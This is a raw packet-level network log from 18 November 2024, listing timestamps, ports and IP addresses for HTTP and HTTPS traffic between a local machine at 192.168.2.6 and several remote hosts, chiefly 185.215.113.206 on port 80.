Nov 18, 2024 04:41:36.305383921 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.305394888 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.305402994 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.305407047 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.305419922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.305432081 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.305432081 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.305445910 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.305455923 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.305469036 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.305496931 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.305704117 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.305773973 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.305969954 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.305982113 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.305993080 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306005001 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306015015 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.306016922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306030989 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306041956 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306052923 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.306054115 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306066990 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306077957 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306088924 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.306091070 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306102991 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306114912 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306117058 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.306128025 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306132078 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.306140900 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306153059 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306159019 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.306165934 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306179047 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306186914 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.306191921 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306210041 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.306236982 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.306797981 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306813002 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306823969 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306835890 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306847095 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306859016 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306866884 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.306874037 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306894064 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306895018 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.306906939 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306919098 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306931973 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306937933 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.306943893 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306955099 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306967974 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306978941 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.306978941 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.306992054 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.307002068 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.307007074 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.307018995 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.307027102 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.307030916 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.307043076 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.307044029 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.307056904 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.307090998 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.307441950 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.307456017 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.307482958 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.307493925 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.307501078 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.307549953 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.350996017 CET	443	49915	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.351363897 CET	49915	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.351375103 CET	443	49915	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.351728916 CET	443	49915	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.352699995 CET	49915	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.352771997 CET	443	49915	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.352901936 CET	49915	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.371701956 CET	443	49916	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.372641087 CET	49916	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.372649908 CET	443	49916	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.373317957 CET	443	49916	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.373833895 CET	49916	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.373895884 CET	49916	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.374011993 CET	443	49916	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.395996094 CET	443	49917	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.399336100 CET	443	49915	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.403676033 CET	49917	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.403687954 CET	443	49917	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.404752016 CET	443	49917	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.404844999 CET	49917	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.406285048 CET	49917	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.406352043 CET	443	49917	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.416809082 CET	49917	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.416821957 CET	443	49917	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.420759916 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.420770884 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.420825005 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.420824051 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.420845032 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.420859098 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.420871019 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.420912027 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.420937061 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.420950890 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.420994997 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.422935963 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.422946930 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.422966003 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.422979116 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.422995090 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423031092 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423033953 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423043966 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423072100 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423083067 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423104048 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423115015 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423115969 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423152924 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423187017 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423197985 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423211098 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423232079 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423253059 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423265934 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423274994 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423278093 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423310995 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423331022 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423474073 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423486948 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423537970 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423568010 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423578978 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423588991 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423608065 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423619032 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423621893 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423629999 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423634052 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423667908 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423680067 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423686028 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423708916 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423717976 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423722029 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423732996 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423738956 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423748970 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423758984 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423798084 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423816919 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423831940 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423841953 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423857927 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423872948 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423878908 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423902988 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423945904 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.423979044 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.423991919 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424002886 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424017906 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424020052 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424041033 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424046993 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424073935 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424112082 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424139977 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424151897 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424161911 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424174070 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424184084 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424194098 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424201965 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424220085 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424228907 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424263000 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424277067 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424287081 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424297094 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424304962 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424309969 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424319029 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424323082 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424335003 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424343109 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424386024 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424396992 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424407005 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424443007 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424510002 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424521923 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424542904 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424552917 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424555063 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424566984 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424580097 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424591064 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424596071 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424603939 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424638987 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424650908 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424674034 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424684048 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424694061 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424715996 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424729109 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424729109 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424741030 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424758911 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424766064 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424789906 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424817085 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.424943924 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424953938 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424966097 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424978018 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424988031 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.424998999 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425005913 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.425012112 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425030947 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425054073 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.425079107 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.425091028 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425110102 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425121069 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425133944 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425148010 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425148964 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.425165892 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425179958 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425201893 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.425230026 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.425262928 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425275087 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425286055 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425307989 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.425343990 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425354004 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.425355911 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425383091 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425393105 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425395012 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.425407887 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425419092 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.425421953 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.425451994 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.425487041 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.471746922 CET	49916	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.483030081 CET	443	49915	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.483083963 CET	443	49915	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.483150959 CET	49915	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.483163118 CET	443	49915	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.483232021 CET	443	49915	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.483460903 CET	49915	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.500173092 CET	49927	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.500200033 CET	443	49927	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:36.500402927 CET	49927	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.500535011 CET	49928	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.500562906 CET	443	49928	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:36.500905037 CET	49928	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.502213955 CET	443	49916	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.502372026 CET	443	49916	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.502518892 CET	49916	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.503104925 CET	49929	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.503135920 CET	443	49929	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:36.503236055 CET	49929	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.503632069 CET	49930	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.503639936 CET	443	49930	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:36.503699064 CET	49930	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.504086018 CET	49931	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.504100084 CET	443	49931	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:36.504179001 CET	49931	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.504651070 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.504700899 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:36.505497932 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.513051033 CET	49927	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.513062954 CET	443	49927	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:36.513767004 CET	49928	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.513781071 CET	443	49928	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:36.514137030 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.514499903 CET	49929	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.514513016 CET	443	49929	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:36.514631987 CET	443	49919	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.514991999 CET	49918	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.515007019 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.515261889 CET	49931	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.515264034 CET	49930	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.515271902 CET	443	49931	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:36.515274048 CET	443	49930	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:36.515537024 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:36.515564919 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:36.515892982 CET	49918	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.515897036 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.516302109 CET	49919	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.516329050 CET	443	49919	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.516921043 CET	49919	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.516927004 CET	443	49919	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.525230885 CET	49917	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.533449888 CET	443	49920	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.539834976 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.539851904 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.539863110 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.539908886 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.539921045 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.539952993 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.539963961 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.539974928 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.539984941 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.540009022 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.540035963 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.541987896 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542000055 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542026997 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542038918 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542051077 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542051077 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.542064905 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542102098 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542109013 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.542114973 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542125940 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542138100 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542154074 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542165041 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542171955 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.542176962 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542202950 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.542228937 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.542350054 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542371035 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542403936 CET	80	49833	185.215.113.206	192.168.2.6
